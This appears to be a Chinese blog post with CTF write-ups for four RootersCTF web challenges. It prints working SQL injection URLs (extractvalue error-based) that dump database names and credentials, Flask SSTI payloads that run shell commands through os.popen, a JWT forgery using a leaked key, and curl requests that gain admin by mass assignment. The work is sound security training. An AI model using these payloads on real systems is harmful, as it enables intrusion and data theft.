RootersCTF复现
CTFtime上国外的比赛还是比较多的,而且大多也都比较有意思,开拓视野。
RootersCTF-Babyweb
My junior dev just set up a password protected webpage. Can you get in?
分析过程
打开链接提示管理员的密码是18位,并且过滤掉了UNION SLEEP ‘ “ OR - BENCHMARK。因此利用爆破出密码是比较不现实的,结合题目提示是使用注入方法。看到单引号和双引号被过滤,猜测是被反斜杠转义掉,便尝试宽字节注入,使用%df%27
进行测试,结果注入失败。
并且提示UNION、OR也都被过滤,原本想着利用大小写或者编码绕过,但是引号既然不能成功绕过,说明不能用闭合引号进行注入。经过多次尝试发现利用extractvalue()
函数进行报错注入可以成功实现注入,因此可以结合concat函数实现注入。
extractvalue()
:函数功能是从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)extractvalue注入的原理:如同updatexml一样,extract的第二个参数要求是xpath格式字符串,而我们输入的并不是。所以报错。
注入过程
1、爆库名
https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select%0adatabase()),0x7e)) |
回显XPATH syntax error:~SQLinjection~,爆出了库名SQLinjection
2、爆表名
https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) |
回显XPATH syntax error:~users~,爆出了表名users
这里需要说名一下,由于单双引号被过滤,故注入语句中如果有字符串需要单双引号,应当尽量避免,这里可以使用查询语句的多重利用避免,当然直接填库名也是不需要单双引号的(下面表名同理)。
3、爆列名
https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e)) |
回显XPATH syntax error:~user、uniqueid~,爆出列名user、uniqueid,这两个列里肯定有我们需要的重要内容。
4、爆字段
https://babyweb.rootersctf.in/index.php?search=1 and extractvalue(1,concat(0x7e,(select uniqueid/user from users limit 1),0x7e)) |
这里分两步分别爆出admin和其对应的18位的uniqueid,拿去尝试登录,成功登路并拿到flag。
由于环境不能复现,做题的时候也没有截图,这里不再贴出图片。
报错注入参考链接:https://www.jianshu.com/p/bf5edd484957
I_<3_Flask
典型的SSTI,参考国外师傅的WP学到了一些新姿势
题目分析
进入题目:
断定是python flask的SSTI了,但是不知道参数是啥,在复现的时候发现国外师傅提到一个参数扫描的工具arjun,直接扫参数:
用name
参数测试一下:
可以看到成功注入,那下面就是利用注入姿势来爆flag了。
解题
一种解题的payload是:
name={{''.__class__.__mro__[1].__subclasses__()[184].__init__.__globals__['__builtins__'].eval('__import__("os").popen("ls").read()')}} |
name={{''.__class__.__mro__[1].__subclasses__()[184].__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat flag.txt").read()')}} |
但是这种方法在复现的时候没有成功,学到另外一种姿势:
name={{url_for.__globals__['__builtins__'].open('flag.txt').read()}} |
参考:
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
https://graneed.hatenablog.com/entry/2019/10/13/010814#Solution-2
ImgXweb
考察JWT伪造攻击。
题目分析
进入题目发现存在注册、登录按钮,先注册一个登录看看,发现可以进行文件上传,但是奈何本题不是考文件上传拿shell的…
通过扫后台发现robots.txt
的存在(可见扫后台的重要性啊):
而robots.txt
中提示了一个secretkey
秘钥文件的存在,内容如下:
给这个干嘛?结果抓包发现了另一番天地:
可以看到cookie采用了JWT,拿去base64解密一下(还有几篇讲到JWT伪造攻击的博客,有需要的可以看看):
{"typ":"JWT","alg":"HS256"}{"user":"ggb0n"}׿ð¬Á#Ȭ í_mn×Züt |
这肯定是考JWT伪造的了,秘钥都给了,多简单,拿去网站伪造一下:
然后抓包改包,发现成功伪造了admin身份,从回显页面中可以看到flag.png
的存在,这里赵师傅没有放原图,应该是为了方便BOT生成和识别固定格式的flag吧:
其实,flag已经很近了,查看源码可以看到flag.png的存储路径,直接访问即可拿到flag:
原来png不是png,而是txt啊…赵师傅badbad。。。
notifyxapi
还是考察JWT伪造攻击。
题目分析
进入题目,看到给出了几个利用curl
进行注册、登录、查看通知的几个操作:
有点像教怎么用curl的[手动滑稽],我们根据提供的语句去试试效果:
先注册个账户:
curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/register/" -H "Content-Type: application/json" -d '{"email": "ggb0n@test.com", "password": "password"}' |
{"created_user":{"id":3,"user":{"email":"ggb0n@test.com","id":3,"is_admin":false},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTI2NTEsIm5iZiI6MTU4NDA5MjY1MSwianRpIjoiMTIyZDQ2MTQtNzZhYS00YjJhLTlmZWEtYmY1OTE0ZTQ5OTk0IiwiZXhwIjoxNjE1NjI4NjUxLCJpZGVudGl0eSI6MywiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.r8-IqT1VUwqJuYpHgKI6uqQZn6nR07RoDnDWWGgyeVc"}} |
关注的点来了:is_admin
属性为false
,多半知道这题是干嘛的了。先不管,先登录看看:
curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/login/" -H "Content-Type: application/json" -d '{"email": "ggb0n@test.com", "password": "password"}' |
{"id":{"email":"ggb0n@test.com","id":3,"is_admin":false},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTMwNDcsIm5iZiI6MTU4NDA5MzA0NywianRpIjoiZjFlYmViYjItMmFmMi00OWFjLTljN2UtNjFlODM3MTVkN2I2IiwiZXhwIjoxNjE1NjI5MDQ3LCJpZGVudGl0eSI6MywiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.Nj2knq7DFsNRoZhNfyAvbMp6wMPV6lWAcXM1p6xIqRo"} |
可以看到登录和注册的时候JWT
的第三部分是不同的,也就是表示登录的状态,看通知的话,当然要先登录嘛。
拿登录上的JWT去看看notification什么情况:
curl -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/notifications/" |
[{"issuer":{"email":"test@test.com","id":2},"body":"hey, rosssssss","id":2,"title":"The IT Crowd"},{"issuer":{"email":"test@test.com","id":2},"body":"Jen Barber? Is that the internet?","id":3,"title":"The IT Crowd"}] |
通过这个请求,我们可以看到别的用户发的通知,想必管理员能看到不一样的结果吧,结合前面存在的is_admin
属性并且为false
,思路肯定是要去想办法让is_admin
为true
了。
解题
由于回显的都是注册时候的键值对,我们直接在注册的时候多加一个"id_admin":true
的属性键值对创建个账户试试:
curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/register/" -H "Content-Type: application/json" -d '{"email": "gg.b0n@test.com", "password": 1"password","is_admin":true}' |
{"created_user":{"id":4,"user":{"email":"gg.b0n@test.com","id":4,"is_admin":true},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM3MzQsIm5iZiI6MTU4NDA5MzczNCwianRpIjoiZjcyMTYzNWEtZTQ1Ny00NTA0LWI0MDEtNjlmMGM1NzM2OGI1IiwiZXhwIjoxNjE1NjI5NzM0LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.NC-cqxfT8wWgsyDzXMo04NLfAK9k7uim8M127DixOAw"}} |
可见账户成功创建了,并且此时is_admin
属性已经为true
了,快登陆去看看通知:
curl -X POST "http://ebd88188-17ee-4d51-84e5-ee623303e5aa.node3.buuoj.cn/api/v1/login/" -H "Content-Type: application/json" -d '{"email": "gg.b0n@test.com", "password": "password"}' |
{"id":{"email":"gg.b0n@test.com","id":4,"is_admin":true},"authentication_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM4ODcsIm5iZiI6MTU4NDA5Mzg4NywianRpIjoiNjUzN2ZlYzMtNzYyOC00ZGZlLTk1MmQtYzE1YmQ5ODhiNjQ0IiwiZXhwIjoxNjE1NjI5ODg3LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.FiyXpksBx-zkMQDEkfW61bs2FtqttNz5Qv1yHStqWrM"} |
用登录上的JWT
去看通知:
export ACCESS="eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1ODQwOTM4ODcsIm5iZiI6MTU4NDA5Mzg4NywianRpIjoiNjUzN2ZlYzMtNzYyOC00ZGZlLTk1MmQtYzE1YmQ5ODhiNjQ0IiwiZXhwIjoxNjE1NjI5ODg3LCJpZGVudGl0eSI6NCwiZnJlc2giOmZhbHNlLCJ0eXBlIjoiYWNjZXNzIn0.FiyXpksBx-zkMQDEkfW61bs2FtqttNz5Qv1yHStqWrM" |
回显如下:
[{"issuer":{"email":"admin@test.com","id":1},"body":"rooters{a_big_hard_business_in_a_big_hard_building}ctf","id":1,"title":"flag"},{"issuer":{"email":"test@test.com","id":2},"body":"hey, rosssssss","id":2,"title":"The IT Crowd"},{"issuer":{"email":"test@test.com","id":2},"body":"Jen Barber? Is that the internet?","id":3,"title":"The IT Crowd"},{"issuer":{"email":"admin@test.com","id":1},"body":"flag{1b411b83-d725-4e8f-a50a-3bd14a35de6a}","id":1,"title":"flag"}] |
成功拿到flag。
这题算是考察JWT伪造比较简单的了吧。
- Post Title: RootersCTF复现
- Post Author: ggb0n
- Post Link: http://ggb0n.cool/2020/03/13/RootersCTF复现/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
1.第五空间pwn题练习
2.虎符CTF两道web学习JS
3.SWPU2019复现
4.BSidesSF2019-WriteUp
5.HackTM2020-WriteUp
6.RoarCTF-simple_upload-WriteUp
7.UNCTF-Twice_Insert WriteUp
8.HEBCTF-easy_RSA-WriteUp
1.TCTF2020部分题解
2.第五空间pwn题练习
3.堆溢出-Tcache_Attack
4.堆溢出-Housese_Of_XXX
5.堆溢出基础
6.入坑二进制